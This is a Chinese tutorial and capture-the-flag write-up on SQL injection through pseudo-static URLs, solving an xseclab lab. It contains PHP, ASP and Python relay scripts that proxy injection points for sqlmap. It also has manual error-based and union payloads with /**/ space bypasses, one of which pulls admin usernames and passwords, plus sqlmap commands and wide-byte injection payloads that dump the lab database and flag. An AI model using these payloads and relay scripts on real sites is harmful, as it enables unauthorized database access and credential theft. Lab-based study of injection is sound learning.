一、伪静态注入
(一)伪静态定义:
为了实时的显示一些信息。或者还想运用动态脚本解决一些问题。不能用静态的方式来展示网站内容。伪静态只是改变了URL的表现形式,实际上还是动态页面。
例:http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/
和http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/?id=1
显示的界面是一样的。也即是静态和动态一样,即是伪静态。
(二)伪静态注入总结:
参考:http://www.cnblogs.com/jsq16/p/5942003.html
一:中转注入法
1.通过http://www.xxx.com/news.php?id=1做了伪静态之后就成这样了
http://www.xxx.com/news.php/id/1.html
2.测试步骤:
中转注入的php代码:inject.php
set_time_limit(0);
$id=$_GET["id"];
$id=str_replace(” “,”%20″,$id);
$id=str_replace(“=”,”%3D”,$id);
//$url = "http://www.xxx.com/news.php/id/$id.html";
$url = "http://www.xxx.com/news.php/id/$id.html";
//echo $url;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "$url");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
curl_close($ch);
print_r($output);
?>
3.本地环境搭建PHP,然后访问http://127.0.0.1/inject.php?id=1
通过sqlmap或者havj可以跑注入漏洞。
附录ASP中转代码:
<%
JmdcwName=request("id")
JmStr=JmdcwName
JmStr=URLEncoding(JmStr)
JMUrl="http://192.168.235.7:8808/ad/blog/" //实际上要请求的网址
JMUrl=JMUrl & JmStr&".html" //拼接url
response.write JMUrl&JmStr //我这里故意输出url来看
'JmRef="http://127.0.0.1/6kbbs/bank.asp"
JmCok=""
JmCok=replace(JmCok,chr(32),"%20")
JmStr=URLEncoding(JmStr)
response.write PostData(JMUrl,JmStr,JmCok,JmRef) //url,查询字符串,cookie,referer字段
Function PostData(PostUrl,PostStr,PostCok,PostRef)
Dim Http
Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
With Http
.Open "GET",PostUrl,False
.Send ()
PostData = .ResponseBody
End With
Set Http = Nothing
PostData =bytes2BSTR(PostData)
End Function
Function bytes2BSTR(vIn) //处理返回的信息
Dim strReturn
Dim I, ThisCharCode, NextCharCode
strReturn = ""
For I = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn, I, 1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn, I + 1, 1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
I = I + 1
End If
Next
bytes2BSTR = strReturn
End Function
Function URLEncoding(vstrin) //发包前对参数的url编码一下
strReturn=""
Dim i
'vstrin=replace(vstrin,"%","%25") '增加转换搜索字符,
'vstrin=Replace(vstrin,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
'vstrin=Replace(vstrin,chr(43),"%2B") 'JMDCW增加转换+字符
vstrin=Replace(vstrin,chr(32),"/**/") '在此增加要过滤的代码 //这里很关键,方便啊,把空格自动换成/**/,后面会说到的
For i=1 To Len(vstrin)
ThisChr=Mid(vstrin,i,1)
if Abs(Asc(ThisChr))< &HFF Then
strReturn=strReturn & ThisChr
Else
InnerCode=Asc(ThisChr)
If InnerCode<0 Then
InnerCode=InnerCode + &H10000
End If
Hight1=(InnerCode And &HFF00) \&HFF
Low1=InnerCode And &HFF
strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
End if
Next
URLEncoding=strReturn
End Function
%>
二、手工注入法
1.http://www.xxx.com/play/Diablo.html
http://www.xxx.com/down/html/?772.html
2.测试注入:
http://www.xxx.com/down/html/?772′.html
http://www.xxx.com /play/Diablo'.html
http://www.xxx.com/play/Diablo'/**/and
/**/1='1 /*.html
http://www.xxx.com/play/Diablo'
/**/and
/**/1='2 /*.html
http://www.xxx.com/page/html/?56′/**/and/**/1=1/*.html 正常
http://www.xxx.com/page/html/?56′/**/and/**/1=2/*.html 出错
3.看页面是否存在差异,相同则不存在,不同存在注入。
4.联合查询:
http://www.xxx.com/play/diablo’ and 1=2 union select 1,2… frominformation_schema.columns where 1='1.html
http://www.xxx.com/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html
三、手工注入法(二)
http://www.xxx.net/news/html/?410.html
http://www.xxx.net/news/html/?410'union/**/select/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),0x3a,(select/**/concat(user,0x3a,password)/**/from/**/pwn_base_admin/**/limit/**/0,1),0x3a)a/**/from/**/information_schema.tables/**/group/**/by/**/a)b/**/where'1'='1.html
注:
伪静态的注入和URL的普通GET注入不太相同
。普通url的get注入的%20,%23,+等都可以用;但是伪静态不行,会被直接传递到到url中,所以用/**/这个注释符号表示空格。
三、SQLmap方法
在sqlmap中伪静态哪儿存在注入点就加*
http://www.cunlide.com/id1/1/id2/2
python sqlmap.py -u “http://www.xxx.com/id1/1*/id2/2″
http://www.xxx.com/news/class/?103.htm
python sqlmap.py -u “http://www.xxx.com/news/class/?103*.html”
四、python脚本方法
from BaseHTTPServer import *
import urllib2
class MyHTTPHandler(BaseHTTPRequestHandler):
def do_GET(self):
path=self.path
path=path[path.find('id=')+3:]
proxy_support = urllib2.ProxyHandler({"http":"http://127.0.0.1:8087"})
opener = urllib2.build_opener(proxy_support)
urllib2.install_opener(opener)
url="http://www.xxx.com/magazine/imedia/gallery/dickinsons-last-dance/"
try:
response=urllib2.urlopen(url+path)
html=response.read()
except urllib2.URLError,e:
html=e.read()
self.wfile.write(html)
server = HTTPServer(("", 8000), MyHTTPHandler)
server.serve_forever()
二、习题解答
0x1 打开界面发现如下
然后打开源代码:
一方面发现了src的图片链接,另一方面发现id=1。
那么就测试url伪静态部分。
0x2 测试url伪静态
Payload-1:
http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/?id=1 and 1=1
Payload-2:
http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/?id=1 and 1=2
测试了很久,发现没有sql注入。
继续查看源代码,发现src的图片地址。然后查看网上很多资料发现是“图片注入”,并且是宽字节注入。
0x3 开始进行图片注入测试
1. 抓包查看数据
2. 查看字段数
Payload-1:
/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/cat1.jpg%bf%27+order+by+4+%23
正确
Payload-2:
/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/cat1.jpg%bf%27+order+by+5+%23
错误
说明一共4段。
注:“ order by 3 #”要进行url编码。
3. 查看数据库
Payload-1;
/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/cat1.jpg%bf%27+union+select+1,2,3,4+from+information_schema.schemata+%23 HTTP/1.1
返回 3 ,说明3可以进行数据库暴库。
Payload-2:
/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/cat1.jpg%bf%27+union+select+1,2,database(),4+from+information_schema.schemata+%23 HTTP/1.1
返回mydbs,说明数据库时mydbs。
4. 进行表的查询
Payload-1:
/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/cat1.jpg%df%27+union+select+1,2,group_concat(table_name),4+from+information_schema.tables+where+table_schema%3d0x6d79646273+%23
返回article,pic
说明这里面有两个表。
5. 进行段查询
Payload-1:
/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/cat1.jpg%df%27+union+select+1,2,group_concat(column_name),4+from+information_schema.columns+where+table_name=0x706963+%23
返回id,picname,data,text
说明这里面有四个段。
6. 进行内容查询
Payload-1:
/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/cat1.jpg%df%27+union+select+1,2,group_concat(id,picname),4+from+pic+%2
返回1dog1.jpg,2cat1.jpg,12998flagishere_askldjfklasjdfl.jpg
得到图片flagishere_askldjfklasjdfl.jpg
访问/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/flagishere_askldjfklasjdfl.jpg
得到图片
接下来为了复习以前学习的python脚本,我决定把这张图片内容用脚本打出来,而不是自己手打:
脚本如下:
>>> import pytesseract
>>> from PIL import Image
>>> fp=Image.open("C:/Users/Administrator/Desktop/图片1.png")
>>> im = pytesseract.image_to_string(fp)
>>> print im
~S
Sflg is "IamflagIloveyou! "
但是毕竟不太准确,一定要进行灰度处理减少误差。
参考:
Python识别验证码以及识别算法:http://blog.csdn.net/u010402786/article/details/48657215
python 验证码 高阶验证:http://blog.csdn.net/frank_good/article/details/52251062